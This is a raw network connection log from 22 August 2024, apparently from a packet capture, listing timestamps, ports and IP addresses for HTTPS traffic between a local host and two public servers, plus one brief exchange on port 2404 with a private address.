Aug 22, 2024 13:10:42.785811901 CEST	443	49793	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.785857916 CEST	49793	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.785885096 CEST	443	49793	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.785897970 CEST	49793	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.785928011 CEST	443	49793	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.785983086 CEST	49793	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.786832094 CEST	49793	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.786849022 CEST	443	49793	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.787384033 CEST	49799	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.787406921 CEST	443	49799	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:42.787496090 CEST	49799	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.787724972 CEST	49799	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:42.787753105 CEST	443	49799	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:43.173125029 CEST	443	49795	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:43.173177958 CEST	443	49795	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:43.173258066 CEST	49795	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:43.173273087 CEST	443	49795	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:43.173300982 CEST	443	49795	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:43.173315048 CEST	49795	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:43.173352957 CEST	49795	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:43.174237013 CEST	49795	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:43.174263954 CEST	443	49795	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:43.174858093 CEST	49800	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:43.174911976 CEST	443	49800	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:43.174962044 CEST	49800	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:43.175203085 CEST	49800	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:43.175216913 CEST	443	49800	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:43.300658941 CEST	443	49797	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:43.303812981 CEST	49797	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:43.304342031 CEST	49797	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:43.304353952 CEST	443	49797	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:43.304568052 CEST	49797	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:43.304574013 CEST	443	49797	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:43.423182964 CEST	443	49798	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:43.423813105 CEST	49798	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:43.432092905 CEST	443	49799	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:43.435785055 CEST	49799	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:43.477390051 CEST	49798	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:43.477407932 CEST	443	49798	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:43.477626085 CEST	49798	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:43.477632999 CEST	443	49798	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:43.477926016 CEST	49799	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:43.477946997 CEST	443	49799	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:43.478060007 CEST	49799	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:43.478065014 CEST	443	49799	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:43.484265089 CEST	49800	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:43.484296083 CEST	49797	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:43.484349012 CEST	49798	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:43.484373093 CEST	49799	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:43.486248016 CEST	49803	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:43.486280918 CEST	443	49803	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:43.486386061 CEST	49803	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:43.487432003 CEST	49803	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:43.487446070 CEST	443	49803	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:43.487894058 CEST	49804	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:43.487924099 CEST	443	49804	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:43.487983942 CEST	49804	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:43.488948107 CEST	49804	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:43.488962889 CEST	443	49804	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.140098095 CEST	443	49804	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.140213013 CEST	49804	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.140917063 CEST	49804	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.140923023 CEST	443	49804	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.142782927 CEST	49804	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.142786980 CEST	443	49804	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.243124962 CEST	443	49803	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.243326902 CEST	49803	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.243859053 CEST	49803	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.243865967 CEST	443	49803	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.244048119 CEST	49803	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.244054079 CEST	443	49803	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.524050951 CEST	443	49804	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.524125099 CEST	49804	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.524137020 CEST	443	49804	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.524178028 CEST	49804	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.524316072 CEST	49804	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.524370909 CEST	443	49804	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.524435997 CEST	49804	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.524961948 CEST	49805	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.525002956 CEST	443	49805	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.525027037 CEST	49806	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:44.525058031 CEST	443	49806	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:44.525067091 CEST	49805	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.525100946 CEST	49806	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:44.525301933 CEST	49805	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.525317907 CEST	443	49805	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.525393963 CEST	49806	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:44.525405884 CEST	443	49806	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:44.653326035 CEST	443	49803	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.653403044 CEST	443	49803	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.653467894 CEST	49803	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.653551102 CEST	49803	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.653639078 CEST	49803	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.653657913 CEST	443	49803	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.654269934 CEST	49807	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.654300928 CEST	443	49807	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.654331923 CEST	49808	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:44.654365063 CEST	49807	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.654381037 CEST	443	49808	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:44.654431105 CEST	49808	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:44.654654026 CEST	49807	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:44.654670000 CEST	443	49807	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:44.654808998 CEST	49808	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:44.654817104 CEST	443	49808	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.166768074 CEST	443	49805	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.166913986 CEST	49805	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.167603016 CEST	443	49805	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.167680979 CEST	49805	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.168380022 CEST	443	49806	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.168450117 CEST	49806	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.178375006 CEST	49805	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.178391933 CEST	443	49805	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.178666115 CEST	443	49805	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.178749084 CEST	49805	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.181616068 CEST	49806	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.181632996 CEST	443	49806	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.181864977 CEST	49805	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.181895971 CEST	443	49806	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.181952000 CEST	49806	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.182225943 CEST	49806	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.224503040 CEST	443	49805	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.228507042 CEST	443	49806	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.295944929 CEST	443	49807	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.296112061 CEST	49807	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.296705008 CEST	443	49807	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.296767950 CEST	49807	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.300157070 CEST	49807	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.300167084 CEST	443	49807	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.300401926 CEST	443	49807	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.300467014 CEST	49807	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.300811052 CEST	49807	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.309072018 CEST	443	49808	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.309190989 CEST	49808	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.310668945 CEST	49808	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.310674906 CEST	443	49808	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.310893059 CEST	443	49808	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.310952902 CEST	49808	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.311307907 CEST	49808	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.348500013 CEST	443	49807	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.356502056 CEST	443	49808	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.561249971 CEST	443	49805	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.561378002 CEST	49805	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.561393976 CEST	443	49805	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.561455011 CEST	49805	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.561682940 CEST	49805	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.561718941 CEST	443	49805	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.561798096 CEST	49805	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.562417030 CEST	49809	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.562449932 CEST	443	49809	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.562525988 CEST	49809	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.562747955 CEST	49809	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.562762976 CEST	443	49809	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.606394053 CEST	443	49806	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.606436968 CEST	443	49806	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.606477976 CEST	49806	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.606501102 CEST	443	49806	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.606512070 CEST	49806	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.606539965 CEST	49806	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.606848001 CEST	443	49806	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.606890917 CEST	443	49806	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.606890917 CEST	49806	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.606933117 CEST	49806	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.607415915 CEST	49806	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.607429028 CEST	443	49806	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.607933998 CEST	49810	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.607969046 CEST	443	49810	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.608028889 CEST	49810	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.608299017 CEST	49810	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.608309984 CEST	443	49810	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.761840105 CEST	443	49808	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.761893988 CEST	443	49808	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.761957884 CEST	49808	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.761970997 CEST	443	49808	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.761981964 CEST	49808	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.762016058 CEST	49808	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.762018919 CEST	443	49808	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.762053967 CEST	49808	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.762062073 CEST	443	49808	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.762096882 CEST	49808	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.762101889 CEST	443	49808	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.762139082 CEST	49808	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.763076067 CEST	49808	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.763092995 CEST	443	49808	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.781436920 CEST	443	49807	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.781497002 CEST	49807	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.781510115 CEST	443	49807	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.781550884 CEST	49807	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.781622887 CEST	49807	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.781656981 CEST	443	49807	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.781713009 CEST	49807	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.782893896 CEST	49812	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.782939911 CEST	443	49812	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.782993078 CEST	49812	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.783498049 CEST	49813	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.783529043 CEST	443	49813	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:45.783587933 CEST	49813	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.784106970 CEST	49812	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:45.784117937 CEST	443	49812	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:45.784140110 CEST	49813	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:45.784157038 CEST	443	49813	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.219419003 CEST	443	49809	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.219496965 CEST	49809	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.220242977 CEST	443	49809	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.220309973 CEST	49809	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.237423897 CEST	49809	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.237437010 CEST	443	49809	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.237694979 CEST	443	49809	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.237742901 CEST	49809	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.244853973 CEST	49809	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.254537106 CEST	443	49810	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.254656076 CEST	49810	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.256772995 CEST	49810	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.256783962 CEST	443	49810	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.256949902 CEST	49810	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.256954908 CEST	443	49810	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.288502932 CEST	443	49809	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.470554113 CEST	443	49813	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.470587015 CEST	443	49812	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.470645905 CEST	49813	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.470700979 CEST	49812	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.471630096 CEST	443	49813	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.471688986 CEST	49813	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.471693993 CEST	49812	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.471702099 CEST	443	49812	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.471875906 CEST	49812	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.471879959 CEST	443	49812	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.473613977 CEST	49813	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.473627090 CEST	443	49813	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.473927021 CEST	443	49813	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.473979950 CEST	49813	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.474256039 CEST	49813	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.520494938 CEST	443	49813	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.603413105 CEST	443	49809	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.603497982 CEST	49809	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.603512049 CEST	443	49809	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.603566885 CEST	49809	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.603661060 CEST	49809	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.603703976 CEST	443	49809	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.603754044 CEST	49809	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.604281902 CEST	49814	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.604325056 CEST	443	49814	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.604389906 CEST	49814	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.604656935 CEST	49814	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.604667902 CEST	443	49814	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.678776979 CEST	443	49810	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.678813934 CEST	443	49810	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.678976059 CEST	49810	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.679003954 CEST	443	49810	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.679017067 CEST	49810	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.679040909 CEST	49810	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.679352999 CEST	443	49810	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.679389954 CEST	443	49810	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.679400921 CEST	49810	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.679428101 CEST	49810	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.679836035 CEST	49810	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.679851055 CEST	443	49810	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.680357933 CEST	49815	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.680380106 CEST	443	49815	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.680442095 CEST	49815	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.680689096 CEST	49815	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.680700064 CEST	443	49815	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.918123007 CEST	443	49812	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.918185949 CEST	443	49812	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.918191910 CEST	49812	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.918219090 CEST	443	49812	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.918250084 CEST	49812	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.918273926 CEST	49812	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.918277979 CEST	443	49812	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.918296099 CEST	443	49812	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.918323994 CEST	49812	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.918351889 CEST	49812	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.919471025 CEST	49812	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.919485092 CEST	443	49812	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.975981951 CEST	443	49813	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.976114988 CEST	49813	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.976133108 CEST	443	49813	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.976192951 CEST	49813	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.976345062 CEST	49813	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.976378918 CEST	443	49813	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.976430893 CEST	49813	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.977044106 CEST	49818	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.977078915 CEST	443	49818	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:46.977088928 CEST	49819	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.977117062 CEST	443	49819	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.977139950 CEST	49818	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.977181911 CEST	49819	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.977440119 CEST	49818	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:46.977441072 CEST	49819	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:46.977451086 CEST	443	49819	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:46.977452040 CEST	443	49818	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:47.273186922 CEST	443	49814	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:47.273328066 CEST	49814	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:47.273941994 CEST	443	49814	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:47.274007082 CEST	49814	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:47.275681973 CEST	49814	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:47.275692940 CEST	443	49814	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:47.275965929 CEST	443	49814	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:47.276037931 CEST	49814	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:47.276393890 CEST	49814	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:47.299345970 CEST	2404	49715	192.168.1.195	192.168.2.8
Aug 22, 2024 13:10:47.299453974 CEST	49715	2404	192.168.2.8	192.168.1.195
Aug 22, 2024 13:10:47.320494890 CEST	443	49814	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:47.334566116 CEST	443	49815	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:47.334666967 CEST	49815	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:47.335158110 CEST	49815	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:47.335167885 CEST	443	49815	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:47.337080002 CEST	49815	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:47.337085009 CEST	443	49815	216.58.212.129	192.168.2.8
Aug 22, 2024 13:10:47.499953985 CEST	49818	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:47.499984026 CEST	49819	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:47.500009060 CEST	49814	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:47.500034094 CEST	49815	443	192.168.2.8	216.58.212.129
Aug 22, 2024 13:10:47.500654936 CEST	49820	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:47.500694990 CEST	443	49820	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:47.500781059 CEST	49820	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:47.502233982 CEST	49820	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:47.502254009 CEST	443	49820	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:47.503030062 CEST	49821	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:47.503053904 CEST	443	49821	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:47.503139973 CEST	49821	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:47.503593922 CEST	49821	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:47.503608942 CEST	443	49821	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.149024010 CEST	443	49821	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.149137974 CEST	49821	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.149756908 CEST	49821	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.149766922 CEST	443	49821	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.151595116 CEST	49821	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.151609898 CEST	443	49821	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.153899908 CEST	443	49820	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.153975964 CEST	49820	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.154232979 CEST	49820	443	192.168.2.8	216.58.206.46
Aug 22, 2024 13:10:48.154242992 CEST	443	49820	216.58.206.46	192.168.2.8
Aug 22, 2024 13:10:48.154335976 CEST	49820	443	192.168.2.8	216.58.206.46
